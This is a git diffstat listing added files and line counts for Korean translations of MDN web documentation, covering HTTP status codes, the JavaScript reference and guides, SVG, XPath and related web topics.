files/ko/web/http/status/200/index.html | 54 + files/ko/web/http/status/201/index.html | 48 + files/ko/web/http/status/202/index.html | 39 + files/ko/web/http/status/204/index.html | 54 + files/ko/web/http/status/205/index.html | 39 + files/ko/web/http/status/206/index.html | 85 + files/ko/web/http/status/301/index.html | 54 + files/ko/web/http/status/302/index.html | 54 + files/ko/web/http/status/304/index.html | 63 + files/ko/web/http/status/307/index.html | 48 + files/ko/web/http/status/400/index.html | 36 + files/ko/web/http/status/401/index.html | 60 + files/ko/web/http/status/403/index.html | 49 + files/ko/web/http/status/404/index.html | 59 + files/ko/web/http/status/405/index.html | 37 + files/ko/web/http/status/408/index.html | 42 + files/ko/web/http/status/409/index.html | 41 + files/ko/web/http/status/411/index.html | 36 + files/ko/web/http/status/413/index.html | 34 + files/ko/web/http/status/416/index.html | 51 + files/ko/web/http/status/418/index.html | 45 + files/ko/web/http/status/422/index.html | 40 + files/ko/web/http/status/431/index.html | 45 + files/ko/web/http/status/500/index.html | 41 + files/ko/web/http/status/501/index.html | 48 + files/ko/web/http/status/502/index.html | 49 + files/ko/web/http/status/503/index.html | 55 + files/ko/web/http/status/504/index.html | 50 + files/ko/web/http/status/505/index.html | 33 + files/ko/web/http/status/index.html | 194 + .../index.html" | 296 + files/ko/web/index.html | 109 + files/ko/web/javascript/about/index.html | 58 + files/ko/web/javascript/data_structures/index.html | 221 + .../index.html | 63 + .../index.html | 331 + .../equality_comparisons_and_sameness/index.html | 503 + files/ko/web/javascript/eventloop/index.html | 147 + files/ko/web/javascript/guide/closures/index.html | 454 + .../control_flow_and_error_handling/index.html | 433 + .../guide/expressions_and_operators/index.html | 926 + files/ko/web/javascript/guide/index.html | 138 + .../guide/indexed_collections/index.html | 456 + .../inheritance_and_the_prototype_chain/index.html | 531 + .../guide/iterators_and_generators/index.html | 193 + .../javascript/guide/keyed_collections/index.html | 149 + .../guide/loops_and_iteration/index.html | 332 + files/ko/web/javascript/guide/modules/index.html | 414 + .../javascript/guide/numbers_and_dates/index.html | 384 + .../core_javascript_1.5_guide/about/index.html | 109 + .../index.html | 26 + .../core_javascript_1.5_guide/constants/index.html | 28 + .../creating_a_regular_expression/index.html | 35 + .../defining_getters_and_setters/index.html | 84 + .../defining_methods/index.html | 43 + .../index.html | 11 + .../deleting_properties/index.html | 20 + .../creating_new_objects/index.html | 6 + .../indexing_object_properties/index.html | 9 + .../using_a_constructor_function/index.html | 58 + .../using_this_for_object_references/index.html | 25 + .../expressions/index.html | 16 + .../javascript_overview/index.html | 44 + .../core_javascript_1.5_guide/literals/index.html | 174 + .../objects_and_properties/index.html | 39 + .../operators/arithmetic_operators/index.html | 44 + .../operators/assignment_operators/index.html | 62 + .../operators/bitwise_operators/index.html | 101 + .../core_javascript_1.5_guide/operators/index.html | 108 + .../operators/logical_operators/index.html | 68 + .../operators/special_operators/index.html | 228 + .../operators/string_operators/index.html | 11 + .../array_object/index.html | 133 + .../predefined_core_objects/index.html | 20 + .../core_javascript_1.5_guide/unicode/index.html | 109 + .../core_javascript_1.5_guide/values/index.html | 39 + .../core_javascript_1.5_guide/variables/index.html | 64 + .../javascript/guide/text_formatting/index.html | 275 + .../web/javascript/guide/using_promises/index.html | 361 + .../values,_variables,_and_literals/index.html | 708 + .../guide/working_with_objects/index.html | 500 + .../index.html" | 714 + .../index.html" | 258 + .../guide/\354\206\214\352\260\234/index.html" | 153 + .../assertions/index.html" | 244 + .../groups_and_ranges/index.html" | 91 + .../index.html" | 666 + .../guide/\355\225\250\354\210\230/index.html" | 658 + files/ko/web/javascript/index.html | 118 + .../index.html | 289 + .../javascript_technologies_overview/index.html | 83 + .../ko/web/javascript/memory_management/index.html | 183 + .../javascript/new_in_javascript/1.5/index.html | 37 + .../javascript/new_in_javascript/1.6/index.html | 85 + .../javascript/new_in_javascript/1.8.1/index.html | 26 + .../javascript/new_in_javascript/1.8.5/index.html | 126 + .../javascript/new_in_javascript/1.8/index.html | 138 + .../ecmascript_5_support_in_mozilla/index.html | 45 + .../ecmascript_6_support_in_mozilla/index.html | 285 + .../ko/web/javascript/new_in_javascript/index.html | 71 + files/ko/web/javascript/reference/about/index.html | 51 + .../reference/classes/class_fields/index.html | 396 + .../reference/classes/constructor/index.html | 128 + .../reference/classes/extends/index.html | 112 + .../ko/web/javascript/reference/classes/index.html | 402 + .../classes/private_class_fields/index.html | 201 + .../javascript/reference/classes/static/index.html | 136 + .../deprecated_and_obsolete_features/index.html | 290 + .../reference/errors/bad_octal/index.html | 45 + .../reference/errors/bad_radix/index.html | 57 + .../reference/errors/bad_regexp_flag/index.html | 107 + .../errors/bad_return_or_yield/index.html | 51 + .../index.html | 56 + .../errors/delete_in_strict_mode/index.html | 71 + .../index.html | 70 + .../reference/errors/deprecated_octal/index.html | 64 + .../errors/identifier_after_number/index.html | 57 + .../reference/errors/illegal_character/index.html | 81 + .../ko/web/javascript/reference/errors/index.html | 12 + .../errors/invalid_array_length/index.html | 73 + .../invalid_assignment_left-hand_side/index.html | 50 + .../reference/errors/invalid_date/index.html | 50 + .../errors/invalid_for-in_initializer/index.html | 75 + .../errors/invalid_for-of_initializer/index.html | 64 + .../reference/errors/is_not_iterable/index.html | 106 + .../reference/errors/json_bad_parse/index.html | 105 + .../errors/malformed_formal_parameter/index.html | 57 + .../errors/missing_bracket_after_list/index.html | 56 + .../missing_colon_after_property_id/index.html | 78 + .../missing_curly_after_property_list/index.html | 47 + .../errors/missing_initializer_in_const/index.html | 55 + .../missing_name_after_dot_operator/index.html | 63 + .../index.html | 38 + .../missing_parenthesis_after_condition/index.html | 65 + .../missing_semicolon_before_statement/index.html | 63 + .../errors/more_arguments_needed/index.html | 45 + .../errors/negative_repetition_count/index.html | 40 + .../reference/errors/no_variable_name/index.html | 79 + .../reference/errors/not_a_codepoint/index.html | 51 + .../reference/errors/not_a_constructor/index.html | 91 + .../reference/errors/not_defined/index.html | 66 + .../reference/errors/precision_range/index.html | 92 + .../errors/property_access_denied/index.html | 42 + .../reference/errors/read-only/index.html | 77 + .../index.html | 83 + .../errors/reserved_identifier/index.html | 80 + .../errors/resulting_string_too_large/index.html | 46 + .../errors/strict_non_simple_params/index.html | 107 + .../reference/errors/too_much_recursion/index.html | 50 + .../reference/errors/undeclared_var/index.html | 62 + .../reference/errors/undefined_prop/index.html | 58 + .../reference/errors/unexpected_token/index.html | 49 + .../reference/errors/unexpected_type/index.html | 67 + .../errors/unnamed_function_statement/index.html | 118 + .../functions/arguments/@@iterator/index.html | 78 + .../functions/arguments/callee/index.html | 203 + .../functions/arguments/caller/index.html | 93 + .../reference/functions/arguments/index.html | 189 + .../functions/arguments/length/index.html | 74 + .../functions/default_parameters/index.html | 239 + .../javascript/reference/functions/get/index.html | 179 + .../web/javascript/reference/functions/index.html | 596 + .../functions/method_definitions/index.html | 230 + .../reference/functions/rest_parameters/index.html | 223 + .../javascript/reference/functions/set/index.html | 208 + .../index.html" | 465 + .../global_objects/aggregateerror/index.html | 87 + .../global_objects/array/@@iterator/index.html | 84 + .../global_objects/array/@@species/index.html | 75 + .../global_objects/array/@@unscopables/index.html | 72 + .../global_objects/array/array/index.html | 86 + .../global_objects/array/concat/index.html | 138 + .../global_objects/array/copywithin/index.html | 183 + .../global_objects/array/entries/index.html | 89 + .../global_objects/array/every/index.html | 191 + .../reference/global_objects/array/fill/index.html | 146 + .../global_objects/array/filter/index.html | 231 + .../reference/global_objects/array/find/index.html | 226 + .../global_objects/array/findindex/index.html | 146 + .../reference/global_objects/array/flat/index.html | 160 + .../global_objects/array/flatmap/index.html | 148 + .../global_objects/array/foreach/index.html | 264 + .../reference/global_objects/array/from/index.html | 244 + .../global_objects/array/includes/index.html | 173 + .../reference/global_objects/array/index.html | 493 + .../global_objects/array/indexof/index.html | 196 + .../global_objects/array/isarray/index.html | 131 + .../reference/global_objects/array/join/index.html | 91 + .../reference/global_objects/array/keys/index.html | 69 + .../global_objects/array/lastindexof/index.html | 103 + .../global_objects/array/length/index.html | 135 + .../reference/global_objects/array/map/index.html | 293 + .../global_objects/array/observe/index.html | 87 + .../reference/global_objects/array/of/index.html | 104 + .../reference/global_objects/array/pop/index.html | 91 + .../reference/global_objects/array/push/index.html | 113 + .../global_objects/array/reduce/index.html | 573 + .../global_objects/array/reduceright/index.html | 283 + .../global_objects/array/reverse/index.html | 87 + .../global_objects/array/shift/index.html | 102 + .../global_objects/array/slice/index.html | 155 + .../reference/global_objects/array/some/index.html | 202 + .../reference/global_objects/array/sort/index.html | 245 + .../global_objects/array/splice/index.html | 153 + .../global_objects/array/tolocalestring/index.html | 195 + .../global_objects/array/tosource/index.html | 71 + .../global_objects/array/tostring/index.html | 80 + .../global_objects/array/unshift/index.html | 91 + .../global_objects/array/values/index.html | 87 + .../arraybuffer/arraybuffer/index.html | 70 + .../arraybuffer/bytelength/index.html | 57 + .../global_objects/arraybuffer/index.html | 97 + .../global_objects/arraybuffer/isview/index.html | 76 + .../global_objects/arraybuffer/slice/index.html | 77 + .../global_objects/asyncfunction/index.html | 125 + .../reference/global_objects/atomics/index.html | 162 + .../global_objects/bigint/bigint/index.html | 62 + .../reference/global_objects/bigint/index.html | 280 + .../global_objects/bigint/prototype/index.html | 59 + .../global_objects/boolean/boolean/index.html | 55 + .../reference/global_objects/boolean/index.html | 108 + .../global_objects/boolean/prototype/index.html | 81 + .../global_objects/boolean/tostring/index.html | 69 + .../global_objects/boolean/valueof/index.html | 67 + .../global_objects/dataview/dataview/index.html | 75 + .../reference/global_objects/dataview/index.html | 168 + .../global_objects/date/getdate/index.html | 84 + .../global_objects/date/getday/index.html | 95 + .../global_objects/date/getfullyear/index.html | 88 + .../global_objects/date/gethours/index.html | 83 + .../global_objects/date/getmilliseconds/index.html | 81 + .../global_objects/date/getminutes/index.html | 83 + .../global_objects/date/getmonth/index.html | 94 + .../global_objects/date/getseconds/index.html | 83 + .../global_objects/date/gettime/index.html | 139 + .../date/gettimezoneoffset/index.html | 119 + .../global_objects/date/getutcdate/index.html | 118 + .../global_objects/date/getutcday/index.html | 118 + .../global_objects/date/getutcfullyear/index.html | 121 + .../global_objects/date/getutchours/index.html | 117 + .../date/getutcmilliseconds/index.html | 117 + .../global_objects/date/getutcminutes/index.html | 117 + .../global_objects/date/getutcmonth/index.html | 117 + .../global_objects/date/getutcseconds/index.html | 117 + .../reference/global_objects/date/index.html | 239 + .../reference/global_objects/date/now/index.html | 119 + .../reference/global_objects/date/parse/index.html | 231 + .../global_objects/date/prototype/index.html | 182 + .../global_objects/date/setdate/index.html | 127 + .../global_objects/date/setfullyear/index.html | 133 + .../global_objects/date/sethours/index.html | 138 + .../global_objects/date/setmilliseconds/index.html | 126 + .../global_objects/date/setminutes/index.html | 136 + .../global_objects/date/setmonth/index.html | 147 + .../global_objects/date/setseconds/index.html | 134 + .../global_objects/date/settime/index.html | 127 + .../global_objects/date/setutcdate/index.html | 126 + .../global_objects/date/setutcfullyear/index.html | 132 + .../global_objects/date/setutchours/index.html | 134 + .../date/setutcmilliseconds/index.html | 126 + .../global_objects/date/setutcminutes/index.html | 132 + .../global_objects/date/setutcmonth/index.html | 130 + .../global_objects/date/setutcseconds/index.html | 130 + .../global_objects/date/todatestring/index.html | 82 + .../global_objects/date/toisostring/index.html | 107 + .../global_objects/date/tojson/index.html | 81 + .../global_objects/date/tostring/index.html | 125 + .../reference/global_objects/date/utc/index.html | 139 + .../global_objects/date/valueof/index.html | 79 + .../reference/global_objects/decodeuri/index.html | 101 + .../global_objects/decodeuricomponent/index.html | 92 + .../reference/global_objects/encodeuri/index.html | 111 + .../global_objects/encodeuricomponent/index.html | 148 + .../reference/global_objects/error/index.html | 240 + .../reference/global_objects/error/name/index.html | 72 + .../reference/global_objects/eval/index.html | 285 + .../reference/global_objects/evalerror/index.html | 112 + .../global_objects/function/apply/index.html | 236 + .../global_objects/function/arguments/index.html | 60 + .../global_objects/function/bind/index.html | 296 + .../global_objects/function/call/index.html | 197 + .../reference/global_objects/function/index.html | 167 + .../global_objects/function/length/index.html | 80 + .../global_objects/function/name/index.html | 191 + .../global_objects/function/tosource/index.html | 71 + .../reference/global_objects/generator/index.html | 186 + .../global_objects/generator/next/index.html | 153 + .../global_objects/generator/return/index.html | 132 + .../global_objects/generator/throw/index.html | 99 + .../global_objects/generatorfunction/index.html | 112 + .../reference/global_objects/globalthis/index.html | 89 + .../javascript/reference/global_objects/index.html | 204 + .../reference/global_objects/infinity/index.html | 65 + .../global_objects/internalerror/index.html | 120 + .../internalerror/prototype/index.html | 100 + .../global_objects/intl/datetimeformat/index.html | 303 + .../intl/datetimeformat/prototype/index.html | 86 + .../reference/global_objects/intl/index.html | 134 + .../global_objects/intl/locale/index.html | 77 + .../global_objects/intl/locale/language/index.html | 62 + .../global_objects/intl/numberformat/index.html | 198 + .../intl/numberformat/prototype/index.html | 85 + .../reference/global_objects/isfinite/index.html | 84 + .../reference/global_objects/isnan/index.html | 190 + .../reference/global_objects/json/index.html | 122 + .../reference/global_objects/json/parse/index.html | 123 + .../global_objects/json/stringify/index.html | 230 + .../global_objects/map/@@tostringtag/index.html | 51 + .../reference/global_objects/map/clear/index.html | 75 + .../reference/global_objects/map/delete/index.html | 79 + .../global_objects/map/entries/index.html | 78 + .../global_objects/map/foreach/index.html | 98 + .../reference/global_objects/map/get/index.html | 80 + .../reference/global_objects/map/has/index.html | 81 + .../reference/global_objects/map/index.html | 244 + .../reference/global_objects/map/map/index.html | 60 + .../global_objects/map/prototype/index.html | 86 + .../reference/global_objects/map/set/index.html | 96 + .../reference/global_objects/map/size/index.html | 62 + .../reference/global_objects/math/abs/index.html | 104 + .../reference/global_objects/math/acos/index.html | 103 + .../reference/global_objects/math/cbrt/index.html | 98 + .../reference/global_objects/math/ceil/index.html | 209 + .../reference/global_objects/math/e/index.html | 84 + .../reference/global_objects/math/exp/index.html | 90 + .../reference/global_objects/math/floor/index.html | 171 + .../global_objects/math/fround/index.html | 130 + .../reference/global_objects/math/imul/index.html | 130 + .../reference/global_objects/math/index.html | 155 + .../reference/global_objects/math/ln10/index.html | 84 + .../reference/global_objects/math/ln2/index.html | 86 + .../reference/global_objects/math/log/index.html | 104 + .../global_objects/math/log10e/index.html | 84 + .../reference/global_objects/math/log2/index.html | 96 + .../reference/global_objects/math/log2e/index.html | 84 + .../reference/global_objects/math/max/index.html | 110 + .../reference/global_objects/math/min/index.html | 103 + .../reference/global_objects/math/pi/index.html | 82 + .../global_objects/math/random/index.html | 106 + .../reference/global_objects/math/round/index.html | 92 + .../reference/global_objects/math/sign/index.html | 112 + .../reference/global_objects/math/sin/index.html | 97 + .../reference/global_objects/math/sinh/index.html | 96 + .../reference/global_objects/math/sqrt/index.html | 90 + .../global_objects/math/sqrt1_2/index.html | 59 + .../reference/global_objects/math/sqrt2/index.html | 74 + .../reference/global_objects/math/tan/index.html | 102 + .../reference/global_objects/math/tanh/index.html | 85 + .../reference/global_objects/math/trunc/index.html | 96 + .../reference/global_objects/nan/index.html | 91 + .../reference/global_objects/null/index.html | 69 + .../global_objects/number/epsilon/index.html | 61 + .../reference/global_objects/number/index.html | 177 + .../global_objects/number/isfinite/index.html | 90 + .../global_objects/number/isinteger/index.html | 96 + .../global_objects/number/isnan/index.html | 100 + .../global_objects/number/issafeinteger/index.html | 100 + .../number/max_safe_integer/index.html | 76 + .../global_objects/number/max_value/index.html | 81 + .../number/min_safe_integer/index.html | 66 + .../global_objects/number/min_value/index.html | 84 + .../reference/global_objects/number/nan/index.html | 62 + .../number/negative_infinity/index.html | 82 + .../global_objects/number/parsefloat/index.html | 79 + .../global_objects/number/parseint/index.html | 78 + .../number/positive_infinity/index.html | 82 + .../global_objects/number/prototype/index.html | 90 + .../global_objects/number/toexponential/index.html | 108 + .../global_objects/number/tofixed/index.html | 109 + .../global_objects/number/toprecision/index.html | 110 + .../global_objects/number/tostring/index.html | 112 + .../global_objects/number/valueof/index.html | 86 + .../object/__definegetter__/index.html | 99 + .../global_objects/object/assign/index.html | 284 + .../global_objects/object/constructor/index.html | 155 + .../global_objects/object/create/index.html | 271 + .../object/defineproperties/index.html | 191 + .../object/defineproperty/index.html | 417 + .../global_objects/object/entries/index.html | 145 + .../global_objects/object/freeze/index.html | 257 + .../global_objects/object/fromentries/index.html | 98 + .../object/getownpropertydescriptor/index.html | 126 + .../object/getprototypeof/index.html | 134 + .../object/hasownproperty/index.html | 146 + .../reference/global_objects/object/index.html | 177 + .../reference/global_objects/object/is/index.html | 124 + .../global_objects/object/isextensible/index.html | 110 + .../global_objects/object/isfrozen/index.html | 155 + .../global_objects/object/isprototypeof/index.html | 111 + .../global_objects/object/issealed/index.html | 128 + .../global_objects/object/observe/index.html | 193 + .../object/preventextensions/index.html | 126 + .../object/propertyisenumerable/index.html | 146 + .../global_objects/object/prototype/index.html | 218 + .../global_objects/object/seal/index.html | 135 + .../object/setprototypeof/index.html | 242 + .../object/tolocalestring/index.html | 86 + .../global_objects/object/tostring/index.html | 134 + .../global_objects/object/valueof/index.html | 118 + .../global_objects/object/values/index.html | 98 + .../reference/global_objects/parsefloat/index.html | 120 + .../reference/global_objects/parseint/index.html | 220 + .../global_objects/promise/all/index.html | 239 + .../global_objects/promise/allsettled/index.html | 66 + .../global_objects/promise/finally/index.html | 100 + .../reference/global_objects/promise/index.html | 226 + .../global_objects/promise/promise/index.html | 78 + .../global_objects/promise/prototype/index.html | 71 + .../global_objects/promise/race/index.html | 187 + .../global_objects/promise/reject/index.html | 81 + .../global_objects/promise/resolve/index.html | 162 + .../global_objects/promise/then/index.html | 308 + .../global_objects/proxy/handler/apply/index.html | 154 + .../global_objects/proxy/handler/index.html | 81 + .../reference/global_objects/proxy/index.html | 394 + .../reference/global_objects/rangeerror/index.html | 163 + .../global_objects/referenceerror/index.html | 129 + .../global_objects/reflect/apply/index.html | 93 + .../global_objects/reflect/construct/index.html | 154 + .../reflect/defineproperty/index.html | 100 + .../reflect/deleteproperty/index.html | 98 + .../global_objects/reflect/get/index.html | 100 + .../reflect/getownpropertydescriptor/index.html | 103 + .../reflect/getprototypeof/index.html | 104 + .../global_objects/reflect/has/index.html | 97 + .../reference/global_objects/reflect/index.html | 106 + .../global_objects/reflect/isextensible/index.html | 111 + .../global_objects/reflect/ownkeys/index.html | 95 + .../reflect/preventextensions/index.html | 103 + .../global_objects/reflect/set/index.html | 108 + .../reflect/setprototypeof/index.html | 88 + .../global_objects/regexp/exec/index.html | 188 + .../reference/global_objects/regexp/index.html | 233 + .../reference/global_objects/regexp/n/index.html | 66 + .../global_objects/regexp/regexp/index.html | 114 + .../global_objects/regexp/test/index.html | 129 + .../reference/global_objects/set/add/index.html | 83 + .../reference/global_objects/set/clear/index.html | 76 + .../reference/global_objects/set/delete/index.html | 98 + .../global_objects/set/foreach/index.html | 117 + .../reference/global_objects/set/has/index.html | 93 + .../reference/global_objects/set/index.html | 237 + .../global_objects/set/prototype/index.html | 86 + .../reference/global_objects/set/size/index.html | 69 + .../reference/global_objects/set/values/index.html | 72 + .../global_objects/sharedarraybuffer/index.html | 137 + .../sharedarraybuffer/prototype/index.html | 65 + .../global_objects/string/charat/index.html | 260 + .../global_objects/string/charcodeat/index.html | 169 + .../global_objects/string/concat/index.html | 105 + .../global_objects/string/endswith/index.html | 142 + .../global_objects/string/fromcharcode/index.html | 101 + .../global_objects/string/includes/index.html | 125 + .../reference/global_objects/string/index.html | 298 + .../global_objects/string/indexof/index.html | 159 + .../global_objects/string/lastindexof/index.html | 105 + .../global_objects/string/length/index.html | 84 + .../global_objects/string/localecompare/index.html | 159 + .../global_objects/string/match/index.html | 156 + .../global_objects/string/normalize/index.html | 163 + .../global_objects/string/padend/index.html | 99 + .../global_objects/string/padstart/index.html | 104 + .../global_objects/string/prototype/index.html | 218 + .../global_objects/string/repeat/index.html | 113 + .../global_objects/string/replace/index.html | 299 + .../global_objects/string/search/index.html | 100 + .../global_objects/string/slice/index.html | 129 + .../global_objects/string/split/index.html | 231 + .../global_objects/string/startswith/index.html | 95 + .../global_objects/string/substr/index.html | 131 + .../global_objects/string/substring/index.html | 190 + .../global_objects/string/tolowercase/index.html | 83 + .../global_objects/string/tosource/index.html | 49 + .../global_objects/string/tostring/index.html | 59 + .../global_objects/string/touppercase/index.html | 105 + .../global_objects/string/trim/index.html | 97 + .../global_objects/string/valueof/index.html | 83 + .../reference/global_objects/symbol/for/index.html | 150 + .../reference/global_objects/symbol/index.html | 233 + .../global_objects/symbol/iterator/index.html | 95 + .../global_objects/syntaxerror/index.html | 123 + .../syntaxerror/prototype/index.html | 126 + .../typedarray/@@iterator/index.html | 127 + .../global_objects/typedarray/buffer/index.html | 111 + .../typedarray/bytelength/index.html | 73 + .../typedarray/byteoffset/index.html | 69 + .../typedarray/bytes_per_element/index.html | 75 + .../global_objects/typedarray/fill/index.html | 75 + .../reference/global_objects/typedarray/index.html | 342 + .../global_objects/typedarray/indexof/index.html | 80 + .../global_objects/typedarray/length/index.html | 68 + .../global_objects/typedarray/name/index.html | 70 + .../global_objects/typedarray/of/index.html | 92 + .../global_objects/typedarray/prototype/index.html | 175 + .../global_objects/typedarray/reverse/index.html | 69 + .../global_objects/typedarray/set/index.html | 95 + .../global_objects/typedarray/slice/index.html | 129 + .../global_objects/typedarray/some/index.html | 106 + .../global_objects/typedarray/sort/index.html | 119 + .../global_objects/typedarray/values/index.html | 127 + .../reference/global_objects/typeerror/index.html | 123 + .../reference/global_objects/undefined/index.html | 138 + .../reference/global_objects/uneval/index.html | 67 + .../global_objects/weakmap/delete/index.html | 80 + .../reference/global_objects/weakmap/index.html | 283 + .../global_objects/weakmap/prototype/index.html | 142 + .../reference/global_objects/weakset/index.html | 108 + .../global_objects/weakset/prototype/index.html | 141 + .../global_objects/webassembly/compile/index.html | 83 + .../webassembly/compileerror/index.html | 114 + .../webassembly/compilestreaming/index.html | 79 + .../global_objects/webassembly/global/index.html | 116 + .../webassembly/global/prototype/index.html | 69 + .../global_objects/webassembly/index.html | 100 + .../global_objects/webassembly/instance/index.html | 74 + .../webassembly/instantiate/index.html | 168 + .../webassembly/instantiatestreaming/index.html | 83 + .../webassembly/linkerror/index.html | 113 + .../global_objects/webassembly/memory/index.html | 112 + .../global_objects/webassembly/module/index.html | 83 + .../webassembly/runtimeerror/index.html | 111 + .../global_objects/webassembly/table/index.html | 130 + .../global_objects/webassembly/validate/index.html | 75 + files/ko/web/javascript/reference/index.html | 48 + .../reference/iteration_protocols/index.html | 394 + .../reference/lexical_grammar/index.html | 657 + .../javascript/reference/liveconnect/index.html | 17 + .../reference/operators/addition/index.html | 77 + .../operators/arithmetic_operators/index.html | 290 + .../operators/assignment_operators/index.html | 394 + .../reference/operators/async_function/index.html | 96 + .../reference/operators/await/index.html | 137 + .../operators/bitwise_operators/index.html | 540 + .../reference/operators/class/index.html | 100 + .../reference/operators/comma_operator/index.html | 91 + .../operators/comparison_operators/index.html | 215 + .../operators/conditional_operator/index.html | 193 + .../reference/operators/delete/index.html | 282 + .../operators/destructuring_assignment/index.html | 409 + .../reference/operators/equality/index.html | 123 + .../operators/expression_closures/index.html | 79 + .../reference/operators/function/index.html | 154 + .../reference/operators/function_star_/index.html | 85 + .../operators/generator_comprehensions/index.html | 174 + .../reference/operators/grouping/index.html | 92 + .../javascript/reference/operators/in/index.html | 188 + .../web/javascript/reference/operators/index.html | 304 + .../reference/operators/instanceof/index.html | 161 + .../reference/operators/new.target/index.html | 93 + .../javascript/reference/operators/new/index.html | 187 + .../nullish_coalescing_operator/index.html | 161 + .../operators/object_initializer/index.html | 302 + .../operators/optional_chaining/index.html | 187 + .../operators/pipeline_operator/index.html | 76 + .../operators/property_accessors/index.html | 153 + .../reference/operators/remainder/index.html | 73 + .../reference/operators/spread_syntax/index.html | 255 + .../reference/operators/super/index.html | 176 + .../javascript/reference/operators/this/index.html | 398 + .../reference/operators/typeof/index.html | 227 + .../javascript/reference/operators/void/index.html | 122 + .../reference/operators/yield/index.html | 182 + .../reference/operators/yield_star_/index.html | 164 + .../index.html" | 249 + .../operators/\353\260\260\354\227\264/index.html" | 200 + .../index.html" | 462 + .../reference/statements/async_function/index.html | 243 + .../reference/statements/block/index.html | 132 + .../reference/statements/break/index.html | 119 + .../reference/statements/class/index.html | 119 + .../reference/statements/const/index.html | 136 + .../reference/statements/continue/index.html | 164 + .../reference/statements/debugger/index.html | 79 + .../reference/statements/default/index.html | 121 + .../reference/statements/do...while/index.html | 78 + .../reference/statements/empty/index.html | 102 + .../reference/statements/export/index.html | 199 + .../reference/statements/for-await...of/index.html | 144 + .../reference/statements/for...in/index.html | 176 + .../reference/statements/for...of/index.html | 228 + .../javascript/reference/statements/for/index.html | 160 + .../reference/statements/for_each...in/index.html | 85 + .../reference/statements/function/index.html | 177 + .../reference/statements/function_star_/index.html | 159 + .../reference/statements/if...else/index.html | 177 + .../reference/statements/import/index.html | 156 + .../web/javascript/reference/statements/index.html | 143 + .../reference/statements/label/index.html | 241 + .../javascript/reference/statements/let/index.html | 246 + .../reference/statements/return/index.html | 159 + .../reference/statements/switch/index.html | 306 + .../reference/statements/throw/index.html | 198 + .../reference/statements/try...catch/index.html | 273 + .../javascript/reference/statements/var/index.html | 195 + .../reference/statements/while/index.html | 142 + .../reference/statements/with/index.html | 127 + .../javascript/reference/strict_mode/index.html | 383 + .../transitioning_to_strict_mode/index.html | 137 + .../reference/template_literals/index.html | 254 + .../reference/trailing_commas/index.html | 185 + files/ko/web/javascript/typed_arrays/index.html | 222 + "files/ko/web/javascript/\354\211\230/index.html" | 40 + .../index.html" | 327 + .../index.html" | 155 + files/ko/web/manifest/index.html | 121 + files/ko/web/mathml/index.html | 65 + files/ko/web/media/autoplay_guide/index.html | 262 + files/ko/web/media/formats/index.html | 86 + .../index.html" | 1646 ++ .../index.html" | 1279 ++ .../index.html" | 971 + files/ko/web/media/index.html | 81 + files/ko/web/performance/index.html | 291 + .../index.html" | 204 + .../index.html" | 60 + .../add_to_home_screen/index.html | 218 + .../progressive_web_apps/app_structure/index.html | 283 + files/ko/web/progressive_web_apps/index.html | 76 + .../installable_pwas/index.html | 123 + .../offline_service_workers/index.html | 205 + .../re-engageable_notifications_push/index.html | 253 + .../\354\206\214\352\260\234/index.html" | 92 + files/ko/web/security/index.html | 24 + .../ko/web/security/insecure_passwords/index.html | 67 + .../ko/web/security/same-origin_policy/index.html | 271 + .../security/transport_layer_security/index.html | 110 + .../index.html" | 28 + .../index.html" | 99 + .../index.html | 229 + files/ko/web/svg/attribute/calcmode/index.html | 55 + files/ko/web/svg/attribute/cx/index.html | 67 + files/ko/web/svg/attribute/d/index.html | 575 + files/ko/web/svg/attribute/index.html | 461 + files/ko/web/svg/attribute/keytimes/index.html | 87 + files/ko/web/svg/attribute/values/index.html | 86 + files/ko/web/svg/attribute/version/index.html | 35 + files/ko/web/svg/attribute/viewbox/index.html | 59 + files/ko/web/svg/element/a/index.html | 149 + files/ko/web/svg/element/altglyph/index.html | 79 + files/ko/web/svg/element/circle/index.html | 95 + files/ko/web/svg/element/ellipse/index.html | 110 + files/ko/web/svg/element/index.html | 218 + .../index.html" | 95 + files/ko/web/svg/index.html | 101 + files/ko/web/svg/tutorial/index.html | 36 + files/ko/web/svg/tutorial/introduction/index.html | 49 + files/ko/web/svg/tutorial/paths/index.html | 216 + files/ko/web/svg/tutorial/patterns/index.html | 72 + files/ko/web/svg/tutorial/svg_image_tag/index.html | 35 + .../tutorial/svg_in_html_introduction/index.html | 73 + .../index.html" | 141 + .../index.html" | 94 + .../tutorial/\354\234\204\354\271\230/index.html" | 45 + files/ko/web/tutorials/index.html | 186 + files/ko/web/web_components/index.html | 223 + .../using_custom_elements/index.html | 248 + .../web/web_components/using_shadow_dom/index.html | 230 + files/ko/web/xml/index.html | 17 + files/ko/web/xml/xml_introduction/index.html | 33 + .../ko/web/xpath/axes/ancestor-or-self/index.html | 7 + files/ko/web/xpath/axes/ancestor/index.html | 7 + files/ko/web/xpath/axes/attribute/index.html | 6 + files/ko/web/xpath/axes/child/index.html | 6 + .../web/xpath/axes/descendant-or-self/index.html | 6 + files/ko/web/xpath/axes/descendant/index.html | 6 + .../ko/web/xpath/axes/following-sibling/index.html | 6 + files/ko/web/xpath/axes/following/index.html | 6 + files/ko/web/xpath/axes/index.html | 70 + files/ko/web/xpath/axes/namespace/index.html | 10 + files/ko/web/xpath/axes/parent/index.html | 6 + .../ko/web/xpath/axes/preceding-sibling/index.html | 6 + files/ko/web/xpath/axes/preceding/index.html | 6 + files/ko/web/xpath/axes/self/index.html | 6 + files/ko/web/xpath/functions/boolean/index.html | 39 + files/ko/web/xpath/functions/ceiling/index.html | 41 + files/ko/web/xpath/functions/concat/index.html | 29 + files/ko/web/xpath/functions/contains/index.html | 47 + files/ko/web/xpath/functions/count/index.html | 29 + files/ko/web/xpath/functions/current/index.html | 61 + files/ko/web/xpath/functions/document/index.html | 61 + .../xpath/functions/element-available/index.html | 29 + files/ko/web/xpath/functions/false/index.html | 25 + files/ko/web/xpath/functions/floor/index.html | 32 + .../web/xpath/functions/format-number/index.html | 49 + .../xpath/functions/function-available/index.html | 29 + .../ko/web/xpath/functions/generate-id/index.html | 37 + files/ko/web/xpath/functions/id/index.html | 46 + files/ko/web/xpath/functions/index.html | 74 + files/ko/web/xpath/functions/key/index.html | 43 + files/ko/web/xpath/functions/lang/index.html | 55 + files/ko/web/xpath/functions/last/index.html | 23 + files/ko/web/xpath/functions/local-name/index.html | 33 + files/ko/web/xpath/functions/name/index.html | 33 + .../web/xpath/functions/namespace-uri/index.html | 36 + .../web/xpath/functions/normalize-space/index.html | 29 + files/ko/web/xpath/functions/not/index.html | 33 + files/ko/web/xpath/functions/number/index.html | 35 + files/ko/web/xpath/functions/position/index.html | 34 + 